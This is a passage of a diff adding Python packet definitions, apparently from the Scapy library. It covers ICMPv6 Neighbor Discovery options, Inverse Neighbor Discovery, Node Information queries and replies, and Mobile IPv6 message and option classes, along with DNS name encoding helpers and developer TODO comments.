+    fields_desc = [ ByteField("type", 6),
+                    ByteField("len", 1),
+                    ByteField("shortcutlim", 40), # XXX
+                    ByteField("res1", 0),
+                    IntField("res2", 0) ]
+
+class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
+    fields_desc = [ ByteField("type",7),
+                    ByteField("len",1),
+                    ShortField("res", 0),
+                    IntField("advint", 0) ]
+    def mysummary(self):
+        return self.sprintf("%name% %advint% milliseconds")
+
+class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Neighbor Discovery - Home Agent Information"
+    fields_desc = [ ByteField("type",8),
+                    ByteField("len",1),
+                    ShortField("res", 0),
+                    ShortField("pref", 0),
+                    ShortField("lifetime", 1)]
+    def mysummary(self):
+        return self.sprintf("%name% %pref% %lifetime% seconds")
+
+# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
+
+# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
+
+class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068
+    name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
+    fields_desc = [ ByteField("type",17),
+                    ByteField("len", 3),
+                    ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
+                                                 2: "New Care-Of Address",
+                                                 3: "NAR's IP address" }),
+                    ByteField("plen", 64),
+                    IntField("res", 0),
+                    IP6Field("addr", "::") ]
+
+class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
+    name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)"
+    fields_desc = [ ByteField("type",18),
+                    ByteField("len", 3),
+                    ByteField("optcode", 0),
+                    ByteField("plen", 64),
+                    IntField("res", 0),
+                    IP6Field("prefix", "::") ]
+
+_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
+                        1: "LLA for the new AP",
+                        2: "LLA of the MN",
+                        3: "LLA of the NAR",
+                        4: "LLA of the src of TrSolPr or PrRtAdv msg",
+                        5: "AP identified by LLA belongs to current iface of router",
+                        6: "No preifx info available for AP identified by the LLA",
+                        7: "No fast handovers support for AP identified by the LLA" }
+
+class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068
+    name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)"
+    fields_desc = [ ByteField("type", 19),
+                    ByteField("len", 1),
+                    ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
+                    MACField("lla", ETHER_ANY) ] # We only support ethernet
+
+class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140
+    name = "ICMPv6 Neighbor Discovery - MAP Option"
+    fields_desc = [ ByteField("type", 23),
+                    ByteField("len", 3),
+                    BitField("dist", 1, 4),
+                    BitField("pref", 15, 4), # highest availability
+                    BitField("R", 1, 1),
+                    BitField("res", 0, 7),
+                    IntField("validlifetime", 0xffffffff),
+                    IP6Field("addr", "::") ]
+
+
+class _IP6PrefixField(IP6Field):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default):
+        IP6Field.__init__(self, name, default)
+        self.length_from = lambda pkt: 8*(pkt.len - 1)
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        p = s[:l]
+        if l < 16:
+            p += b'\x00'*(16-l)
+        return s[l:], self.m2i(pkt,p)
+
+    def i2len(self, pkt, x):
+        return len(self.i2m(pkt, x))
+
+    def i2m(self, pkt, x):
+        l = pkt.len
+
+        if x is None:
+            x = "::"
+            if l is None:
+                l = 1
+        x = inet_pton(socket.AF_INET6, x)
+
+        if l is None:
+            return x
+        if l in [0, 1]:
+            return b""
+        if l in [2, 3]:
+            return x[:8*(l-1)]
+
+        return x + b'\x00'*8*(l-3)
+
+class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
+    name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
+    fields_desc = [ ByteField("type",24),
+                    FieldLenField("len", None, length_of="prefix", fmt="B",
+                                  adjust = lambda pkt,x: x//8 + 1),
+                    ByteField("plen", None),
+                    BitField("res1",0,3),
+                    BitField("prf",0,2),
+                    BitField("res2",0,3),
+                    IntField("rtlifetime", 0xffffffff),
+                    _IP6PrefixField("prefix", None) ]
+
+class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
+    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
+    fields_desc = [ ByteField("type", 25),
+                    FieldLenField("len", None, count_of="dns", fmt="B",
+                                  adjust = lambda pkt,x: 2*x+1),
+                    ShortField("res", None),
+                    IntField("lifetime", 0xffffffff),
+                    IP6ListField("dns", [],
+                                 length_from = lambda pkt: 8*(pkt.len-1)) ]
+
+class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
+    name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
+    fields_desc = [ ByteField("type", 26),
+                    ByteField("len", 1),
+                    BitField("res", 0, 48) ]
+
+# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
+# described in section 3.1 of RFC 1035
+# XXX Label should be at most 63 octets in length : we do not enforce it
+#     Total length of domain should be 255 : we do not enforce it either
+class DomainNameListField(StrLenField):
+    __slots__ = ["padded"]
+    islist = 1
+    padded_unit = 8
+
+    def __init__(self, name, default, fld=None, length_from=None, padded=False):
+        self.padded = padded
+        StrLenField.__init__(self, name, default, fld, length_from)
+
+    def i2len(self, pkt, x):
+        return len(self.i2m(pkt, x))
+
+    def m2i(self, pkt, x):
+        x = plain_str(x) # Decode bytes to string
+        res = []
+        while x:
+            # Get a name until \x00 is reached
+            cur = []
+            while x and ord(x[0]) != 0:
+                l = ord(x[0])
+                cur.append(x[1:l+1])
+                x = x[l+1:]
+            if self.padded:
+                # Discard following \x00 in padded mode
+                if len(cur):
+                    res.append(".".join(cur) + ".")
+            else:
+              # Store the current name
+              res.append(".".join(cur) + ".")
+            if x and ord(x[0]) == 0:
+                x = x[1:]
+        return res
+
+    def i2m(self, pkt, x):
+        def conditionalTrailingDot(z):
+            if z and orb(z[-1]) == 0:
+                return z
+            return z+b'\x00'
+        # Build the encode names
+        tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes
+        ret_string  = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp)
+
+        # In padded mode, add some \x00 bytes
+        if self.padded and not len(ret_string) % self.padded_unit == 0:
+            ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit)
+
+        return ret_string
+
+class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
+    name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
+    fields_desc = [ ByteField("type", 31),
+                    FieldLenField("len", None, length_of="searchlist", fmt="B",
+                                  adjust=lambda pkt, x: 1+ x//8),
+                    ShortField("res", None),
+                    IntField("lifetime", 0xffffffff),
+                    DomainNameListField("searchlist", [],
+                                        length_from=lambda pkt: 8*pkt.len -8,
+                                        padded=True)
+                    ]
+
+# End of ICMPv6 Neighbor Discovery Options.
+
+class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
+    name = "ICMPv6 Neighbor Discovery - Router Solicitation"
+    fields_desc = [ ByteEnumField("type", 133, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    IntField("res",0) ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }}
+
+class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
+    name = "ICMPv6 Neighbor Discovery - Router Advertisement"
+    fields_desc = [ ByteEnumField("type", 134, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    ByteField("chlim",0),
+                    BitField("M",0,1),
+                    BitField("O",0,1),
+                    BitField("H",0,1),
+                    BitEnumField("prf",1,2, { 0: "Medium (default)",
+                                              1: "High",
+                                              2: "Reserved",
+                                              3: "Low" } ), # RFC 4191
+                    BitField("P",0,1),
+                    BitField("res",0,2),
+                    ShortField("routerlifetime",1800),
+                    IntField("reachabletime",0),
+                    IntField("retranstimer",0) ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+    def answers(self, other):
+        return isinstance(other, ICMPv6ND_RS)
+
+class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
+    name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
+    fields_desc = [ ByteEnumField("type",135, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    IntField("res", 0),
+                    IP6Field("tgt","::") ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+    def mysummary(self):
+        return self.sprintf("%name% (tgt: %tgt%)")
+
+    def hashret(self):
+        return raw(self.tgt)+self.payload.hashret()
+
+class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
+    name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
+    fields_desc = [ ByteEnumField("type",136, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    BitField("R",1,1),
+                    BitField("S",0,1),
+                    BitField("O",1,1),
+                    XBitField("res",0,29),
+                    IP6Field("tgt","::") ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+    def mysummary(self):
+        return self.sprintf("%name% (tgt: %tgt%)")
+
+    def hashret(self):
+        return raw(self.tgt)+self.payload.hashret()
+
+    def answers(self, other):
+        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
+
+# associated possible options : target link-layer option, Redirected header
+class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
+    name = "ICMPv6 Neighbor Discovery - Redirect"
+    fields_desc = [ ByteEnumField("type",137, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum", None),
+                    XIntField("res",0),
+                    IP6Field("tgt","::"),
+                    IP6Field("dst","::") ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+
+
+################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ###############
+
+class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
+    name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
+    fields_desc = [ ByteField("type",9),
+                    FieldLenField("len", None, count_of="addrlist", fmt="B",
+                                  adjust = lambda pkt,x: 2*x+1),
+                    StrFixedLenField("res", b"\x00"*6, 6),
+                    IP6ListField("addrlist", [],
+                                length_from = lambda pkt: 8*(pkt.len-1)) ]
+
+class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
+    name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
+    type = 10
+
+
+# RFC3122
+# Options requises : source lladdr et target lladdr
+# Autres options valides : source address list, MTU
+# - Comme precise dans le document, il serait bien de prendre l'adresse L2
+#   demandee dans l'option requise target lladdr et l'utiliser au niveau
+#   de l'adresse destination ethernet si aucune adresse n'est precisee
+# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
+#   les options.
+# Ether() must use the target lladdr as destination
+class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
+    name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
+    fields_desc = [ ByteEnumField("type",141, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum",None),
+                    XIntField("reserved",0) ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+# Options requises :  target lladdr, target address list
+# Autres options valides : MTU
+class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
+    name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
+    fields_desc = [ ByteEnumField("type",142, icmp6types),
+                    ByteField("code",0),
+                    XShortField("cksum",None),
+                    XIntField("reserved",0) ]
+    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
+
+
+###############################################################################
+# ICMPv6 Node Information Queries (RFC 4620)
+###############################################################################
+
+# [ ] Add automatic destination address computation using computeNIGroupAddr
+#     in IPv6 class (Scapy6 modification when integrated) if :
+#     - it is not provided
+#     - upper layer is ICMPv6NIQueryName() with a valid value
+# [ ] Try to be liberal in what we accept as internal values for _explicit_
+#     DNS elements provided by users. Any string should be considered
+#     valid and kept like it has been provided. At the moment, i2repr() will
+#     crash on many inputs
+# [ ] Do the documentation
+# [ ] Add regression tests
+# [ ] Perform test against real machines (NOOP reply is proof of implementation).
+# [ ] Check if there are differences between different stacks. Among *BSD,
+#     with others.
+# [ ] Deal with flags in a consistent way.
+# [ ] Implement compression in names2dnsrepr() and decompresiion in
+#     dnsrepr2names(). Should be deactivable.
+
+icmp6_niqtypes = { 0: "NOOP",
+                  2: "Node Name",
+                  3: "IPv6 Address",
+                  4: "IPv4 Address" }
+
+
+class _ICMPv6NIHashret:
+    def hashret(self):
+        return self.nonce
+
+class _ICMPv6NIAnswers:
+    def answers(self, other):
+        return self.nonce == other.nonce
+
+# Buggy; always returns the same value during a session
+class NonceField(StrFixedLenField):
+    def __init__(self, name, default=None):
+        StrFixedLenField.__init__(self, name, default, 8)
+        if default is None:
+            self.default = self.randval()
+
+@conf.commands.register
+def computeNIGroupAddr(name):
+    """Compute the NI group Address. Can take a FQDN as input parameter"""
+    name = name.lower().split(".")[0]
+    record = chr(len(name))+name
+    h = md5(record.encode("utf8"))
+    h = h.digest()
+    addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
+    return addr
+
+
+# Here is the deal. First, that protocol is a piece of shit. Then, we
+# provide 4 classes for the different kinds of Requests (one for every
+# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
+# data field class that is made to be smart by guessing the specific
+# type of value provided :
+#
+# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
+#   if not overridden by user
+# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,
+#   if not overridden
+# - Name in the other cases: code is set to 0, if not overridden by user
+#
+# Internal storage, is not only the value, but the a pair providing
+# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
+#
+# Note : I merged getfield() and m2i(). m2i() should not be called
+#        directly anyway. Same remark for addfield() and i2m()
+#
+# -- arno
+
+# "The type of information present in the Data field of a query is
+#  declared by the ICMP Code, whereas the type of information in a
+#  Reply is determined by the Qtype"
+
+def names2dnsrepr(x):
+    """
+    Take as input a list of DNS names or a single DNS name
+    and encode it in DNS format (with possible compression)
+    If a string that is already a DNS name in DNS format
+    is passed, it is returned unmodified. Result is a string.
+    !!!  At the moment, compression is not implemented  !!!
+    """
+
+    if isinstance(x, bytes):
+        if x and x[-1:] == b'\x00': # stupid heuristic
+            return x
+        x = [x]
+
+    res = []
+    for n in x:
+        termin = b"\x00"
+        if n.count(b'.') == 0: # single-component gets one more
+            termin += b'\x00'
+        n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin
+        res.append(n)
+    return b"".join(res)
+
+
+def dnsrepr2names(x):
+    """
+    Take as input a DNS encoded string (possibly compressed)
+    and returns a list of DNS names contained in it.
+    If provided string is already in printable format
+    (does not end with a null character, a one element list
+    is returned). Result is a list.
+    """
+    res = []
+    cur = b""
+    while x:
+        l = orb(x[0])
+        x = x[1:]
+        if not l:
+            if cur and cur[-1:] == b'.':
+                cur = cur[:-1]
+            res.append(cur)
+            cur = b""
+            if x and orb(x[0]) == 0: # single component
+                x = x[1:]
+            continue
+        if l & 0xc0: # XXX TODO : work on that -- arno
+            raise Exception("DNS message can't be compressed at this point!")
+        cur += x[:l] + b"."
+        x = x[l:]
+    return res
+
+
+class NIQueryDataField(StrField):
+    def __init__(self, name, default):
+        StrField.__init__(self, name, default)
+
+    def i2h(self, pkt, x):
+        if x is None:
+            return x
+        t,val = x
+        if t == 1:
+            val = dnsrepr2names(val)[0]
+        return val
+
+    def h2i(self, pkt, x):
+        if x is tuple and isinstance(x[0], int):
+            return x
+
+        # Try IPv6
+        try:
+            inet_pton(socket.AF_INET6, x.decode())
+            return (0, x.decode())
+        except:
+            pass
+        # Try IPv4
+        try:
+            inet_pton(socket.AF_INET, x.decode())
+            return (2, x.decode())
+        except:
+            pass
+        # Try DNS
+        if x is None:
+            x = b""
+        x = names2dnsrepr(x)
+        return (1, x)
+
+    def i2repr(self, pkt, x):
+        x = plain_str(x)
+        t,val = x
+        if t == 1: # DNS Name
+            # we don't use dnsrepr2names() to deal with
+            # possible weird data extracted info
+            res = []
+            while val:
+                l = orb(val[0])
+                val = val[1:]
+                if l == 0:
+                    break
+                res.append(val[:l]+".")
+                val = val[l:]
+            tmp = "".join(res)
+            if tmp and tmp[-1] == '.':
+                tmp = tmp[:-1]
+            return tmp
+        return repr(val)
+
+    def getfield(self, pkt, s):
+        qtype = getattr(pkt, "qtype")
+        if qtype == 0: # NOOP
+            return s, (0, b"")
+        else:
+            code = getattr(pkt, "code")
+            if code == 0:   # IPv6 Addr
+                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
+            elif code == 2: # IPv4 Addr
+                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
+            else:           # Name or Unknown
+                return b"", (1, s)
+
+    def addfield(self, pkt, s, val):
+        if ((isinstance(val, tuple) and val[1] is None) or
+            val is None):
+            val = (1, b"")
+        t = val[0]
+        if t == 1:
+            return s + val[1]
+        elif t == 0:
+            return s + inet_pton(socket.AF_INET6, val[1])
+        else:
+            return s + inet_pton(socket.AF_INET, val[1])
+
+class NIQueryCodeField(ByteEnumField):
+    def i2m(self, pkt, x):
+        if x is None:
+            d = pkt.getfieldval("data")
+            if d is None:
+                return 1
+            elif d[0] == 0: # IPv6 address
+                return 0
+            elif d[0] == 1: # Name
+                return 1
+            elif d[0] == 2: # IPv4 address
+                return 2
+            else:
+                return 1
+        return x
+
+
+_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
+
+#_niquery_flags = {  2: "All unicast addresses", 4: "IPv4 addresses",
+#                    8: "Link-local addresses", 16: "Site-local addresses",
+#                   32: "Global addresses" }
+
+# "This NI type has no defined flags and never has a Data Field". Used
+# to know if the destination is up and implements NI protocol.
+class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
+    name = "ICMPv6 Node Information Query - NOOP Query"
+    fields_desc = [ ByteEnumField("type", 139, icmp6types),
+                    NIQueryCodeField("code", None, _niquery_code),
+                    XShortField("cksum", None),
+                    ShortEnumField("qtype", 0, icmp6_niqtypes),
+                    BitField("unused", 0, 10),
+                    FlagsField("flags", 0, 6, "TACLSG"),
+                    NonceField("nonce", None),
+                    NIQueryDataField("data", None) ]
+
+class ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
+    name = "ICMPv6 Node Information Query - IPv6 Name Query"
+    qtype = 2
+
+# We ask for the IPv6 address of the peer
+class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
+    name = "ICMPv6 Node Information Query - IPv6 Address Query"
+    qtype = 3
+    flags = 0x3E
+
+class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
+    name = "ICMPv6 Node Information Query - IPv4 Address Query"
+    qtype = 4
+
+_nireply_code = { 0: "Successful Reply",
+                  1: "Response Refusal",
+                  3: "Unknown query type" }
+
+_nireply_flags = {  1: "Reply set incomplete",
+                    2: "All unicast addresses",
+                    4: "IPv4 addresses",
+                    8: "Link-local addresses",
+                   16: "Site-local addresses",
+                   32: "Global addresses" }
+
+# Internal repr is one of those :
+# (0, "some string") : unknow qtype value are mapped to that one
+# (3, [ (ttl, ip6), ... ])
+# (4, [ (ttl, ip4), ... ])
+# (2, [ttl, dns_names]) : dns_names is one string that contains
+#     all the DNS names. Internally it is kept ready to be sent
+#     (undissected). i2repr() decode it for user. This is to
+#     make build after dissection bijective.
+#
+# I also merged getfield() and m2i(), and addfield() and i2m().
+class NIReplyDataField(StrField):
+
+    def i2h(self, pkt, x):
+        if x is None:
+            return x
+        t,val = x
+        if t == 2:
+            ttl, dnsnames = val
+            val = [ttl] + dnsrepr2names(dnsnames)
+        return val
+
+    def h2i(self, pkt, x):
+        qtype = 0 # We will decode it as string if not
+                  # overridden through 'qtype' in pkt
+
+        # No user hint, let's use 'qtype' value for that purpose
+        if not isinstance(x, tuple):
+            if pkt is not None:
+                qtype = pkt.qtype
+        else:
+            qtype = x[0]
+            x = x[1]
+
+        # From that point on, x is the value (second element of the tuple)
+
+        if qtype == 2: # DNS name
+            if isinstance(x, (str, bytes)): # listify the string
+                x = [x]
+            if isinstance(x, list):
+                x = [val.encode() if isinstance(val, str) else val for val in x]
+            if x and isinstance(x[0], six.integer_types):
+                ttl = x[0]
+                names = x[1:]
+            else:
+                ttl = 0
+                names = x
+            return (2, [ttl, names2dnsrepr(names)])
+
+        elif qtype in [3, 4]: # IPv4 or IPv6 addr
+            if not isinstance(x, list):
+                x = [x] # User directly provided an IP, instead of list
+
+            def fixvalue(x):
+                # List elements are not tuples, user probably
+                # omitted ttl value : we will use 0 instead
+                if not isinstance(x, tuple):
+                    x = (0, x)
+                # Decode bytes
+                if six.PY3 and isinstance(x[1], bytes):
+                    x = (x[0], x[1].decode())
+                return x
+
+            return (qtype, [fixvalue(d) for d in x])
+
+        return (qtype, x)
+
+
+    def addfield(self, pkt, s, val):
+        t,tmp = val
+        if tmp is None:
+            tmp = b""
+        if t == 2:
+            ttl,dnsstr = tmp
+            return s+ struct.pack("!I", ttl) + dnsstr
+        elif t == 3:
+            return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0])+inet_pton(socket.AF_INET6, x_y1[1]), tmp))
+        elif t == 4:
+            return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0])+inet_pton(socket.AF_INET, x_y2[1]), tmp))
+        else:
+            return s + tmp
+
+    def getfield(self, pkt, s):
+        code = getattr(pkt, "code")
+        if code != 0:
+            return s, (0, b"")
+
+        qtype = getattr(pkt, "qtype")
+        if qtype == 0: # NOOP
+            return s, (0, b"")
+
+        elif qtype == 2:
+            if len(s) < 4:
+                return s, (0, b"")
+            ttl = struct.unpack("!I", s[:4])[0]
+            return b"", (2, [ttl, s[4:]])
+
+        elif qtype == 3: # IPv6 addresses with TTLs
+            # XXX TODO : get the real length
+            res = []
+            while len(s) >= 20: # 4 + 16
+                ttl = struct.unpack("!I", s[:4])[0]
+                ip  = inet_ntop(socket.AF_INET6, s[4:20])
+                res.append((ttl, ip))
+                s = s[20:]
+            return s, (3, res)
+
+        elif qtype == 4: # IPv4 addresses with TTLs
+            # XXX TODO : get the real length
+            res = []
+            while len(s) >= 8: # 4 + 4
+                ttl = struct.unpack("!I", s[:4])[0]
+                ip  = inet_ntop(socket.AF_INET, s[4:8])
+                res.append((ttl, ip))
+                s = s[8:]
+            return s, (4, res)
+        else:
+            # XXX TODO : implement me and deal with real length
+            return b"", (0, s)
+
+    def i2repr(self, pkt, x):
+        if x is None:
+            return "[]"
+
+        if isinstance(x, tuple) and len(x) == 2:
+            t, val = x
+            if t == 2: # DNS names
+                ttl,l = val
+                l = dnsrepr2names(l)
+                return "ttl:%d %s" % (ttl, ", ".join(l))
+            elif t == 3 or t == 4:
+                return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val)))
+            return repr(val)
+        return repr(x) # XXX should not happen
+
+# By default, sent responses have code set to 0 (successful)
+class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
+    name = "ICMPv6 Node Information Reply - NOOP Reply"
+    fields_desc = [ ByteEnumField("type", 140, icmp6types),
+                    ByteEnumField("code", 0, _nireply_code),
+                    XShortField("cksum", None),
+                    ShortEnumField("qtype", 0, icmp6_niqtypes),
+                    BitField("unused", 0, 10),
+                    FlagsField("flags", 0, 6, "TACLSG"),
+                    NonceField("nonce", None),
+                    NIReplyDataField("data", None)]
+
+class ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
+    name = "ICMPv6 Node Information Reply - Node Names"
+    qtype = 2
+
+class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
+    name = "ICMPv6 Node Information Reply - IPv6 addresses"
+    qtype = 3
+
+class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
+    name = "ICMPv6 Node Information Reply - IPv4 addresses"
+    qtype = 4
+
+class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
+    name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
+    code = 1
+
+class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
+    name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
+    code = 2
+
+
+def _niquery_guesser(p):
+    cls = conf.raw_layer
+    type = orb(p[0])
+    if type == 139: # Node Info Query specific stuff
+        if len(p) > 6:
+            qtype, = struct.unpack("!H", p[4:6])
+            cls = { 0: ICMPv6NIQueryNOOP,
+                    2: ICMPv6NIQueryName,
+                    3: ICMPv6NIQueryIPv6,
+                    4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer)
+    elif type == 140: # Node Info Reply specific stuff
+        code = orb(p[1])
+        if code == 0:
+            if len(p) > 6:
+                qtype, = struct.unpack("!H", p[4:6])
+                cls = { 2: ICMPv6NIReplyName,
+                        3: ICMPv6NIReplyIPv6,
+                        4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP)
+        elif code == 1:
+            cls = ICMPv6NIReplyRefuse
+        elif code == 2:
+            cls = ICMPv6NIReplyUnknown
+    return cls
+
+
+#############################################################################
+#############################################################################
+###             Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                ###
+#############################################################################
+#############################################################################
+
+# Mobile IPv6 ICMPv6 related classes
+
+class ICMPv6HAADRequest(_ICMPv6):
+    name = 'ICMPv6 Home Agent Address Discovery Request'
+    fields_desc = [ ByteEnumField("type", 144, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    XShortField("id", None),
+                    BitEnumField("R", 1, 1, {1: 'MR'}),
+                    XBitField("res", 0, 15) ]
+    def hashret(self):
+        return struct.pack("!H",self.id)+self.payload.hashret()
+
+class ICMPv6HAADReply(_ICMPv6):
+    name = 'ICMPv6 Home Agent Address Discovery Reply'
+    fields_desc = [ ByteEnumField("type", 145, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    XShortField("id", None),
+                    BitEnumField("R", 1, 1, {1: 'MR'}),
+                    XBitField("res", 0, 15),
+                    IP6ListField('addresses', None) ]
+    def hashret(self):
+        return struct.pack("!H",self.id)+self.payload.hashret()
+
+    def answers(self, other):
+        if not isinstance(other, ICMPv6HAADRequest):
+            return 0
+        return self.id == other.id
+
+class ICMPv6MPSol(_ICMPv6):
+    name = 'ICMPv6 Mobile Prefix Solicitation'
+    fields_desc = [ ByteEnumField("type", 146, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    XShortField("id", None),
+                    XShortField("res", 0) ]
+    def _hashret(self):
+        return struct.pack("!H",self.id)
+
+class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
+    name = 'ICMPv6 Mobile Prefix Advertisement'
+    fields_desc = [ ByteEnumField("type", 147, icmp6types),
+                    ByteField("code", 0),
+                    XShortField("cksum", None),
+                    XShortField("id", None),
+                    BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}),
+                    XBitField("res", 0, 14) ]
+    def hashret(self):
+        return struct.pack("!H",self.id)
+
+    def answers(self, other):
+        return isinstance(other, ICMPv6MPSol)
+
+# Mobile IPv6 Options classes
+
+
+_mobopttypes = { 2: "Binding Refresh Advice",
+                 3: "Alternate Care-of Address",
+                 4: "Nonce Indices",
+                 5: "Binding Authorization Data",
+                 6: "Mobile Network Prefix (RFC3963)",
+                 7: "Link-Layer Address (RFC4068)",
+                 8: "Mobile Node Identifier (RFC4283)",
+                 9: "Mobility Message Authentication (RFC4285)",
+                 10: "Replay Protection (RFC4285)",
+                 11: "CGA Parameters Request (RFC4866)",
+                 12: "CGA Parameters (RFC4866)",
+                 13: "Signature (RFC4866)",
+                 14: "Home Keygen Token (RFC4866)",
+                 15: "Care-of Test Init (RFC4866)",
+                 16: "Care-of Test (RFC4866)" }
+
+
+class _MIP6OptAlign:
+    """ Mobile IPv6 options have alignment requirements of the form x*n+y.
+    This class is inherited by all MIPv6 options to help in computing the
+    required Padding for that option, i.e. the need for a Pad1 or PadN
+    option before it. They only need to provide x and y as class
+    parameters. (x=0 and y=0 are used when no alignment is required)"""
+    def alignment_delta(self, curpos):
+      x = self.x ; y = self.y
+      if x == 0 and y ==0:
+          return 0
+      delta = x*((curpos - y + x - 1)//x) + y - curpos
+      return delta
+
+
+class MIP6OptBRAdvice(_MIP6OptAlign, Packet):
+    name = 'Mobile IPv6 Option - Binding Refresh Advice'
+    fields_desc = [ ByteEnumField('otype', 2, _mobopttypes),
+                    ByteField('olen', 2),
+                    ShortField('rinter', 0) ]
+    x = 2 ; y = 0# alignment requirement: 2n
+
+class MIP6OptAltCoA(_MIP6OptAlign, Packet):
+    name = 'MIPv6 Option - Alternate Care-of Address'
+    fields_desc = [ ByteEnumField('otype', 3, _mobopttypes),
+                    ByteField('olen', 16),
+                    IP6Field("acoa", "::") ]
+    x = 8 ; y = 6 # alignment requirement: 8n+6
+
+class MIP6OptNonceIndices(_MIP6OptAlign, Packet):
